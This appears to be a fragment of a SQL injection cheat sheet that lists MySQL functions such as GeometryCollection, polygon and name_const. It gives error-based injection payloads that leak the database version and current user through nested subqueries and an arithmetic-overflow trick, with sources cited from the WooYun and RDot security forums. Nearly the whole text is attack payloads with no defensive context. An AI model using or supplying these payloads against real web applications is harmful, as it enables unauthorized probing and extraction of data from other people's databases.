GeometryCollection()
linestring()
multipoint()
multilinestring()
multipolygon()
polygon()
name_const()
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-> SELECT GeometryCollection((select*from(select*from(select@@version)f)x)); -> SELECT polygon((select*from(select name_const(version(),1))x)); |
来源:http://zone.wooyun.org/content/16646
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select!x-~0.FROM(select+user()x)f; |
来源:https://rdot.org/forum/showthread.php?t=3167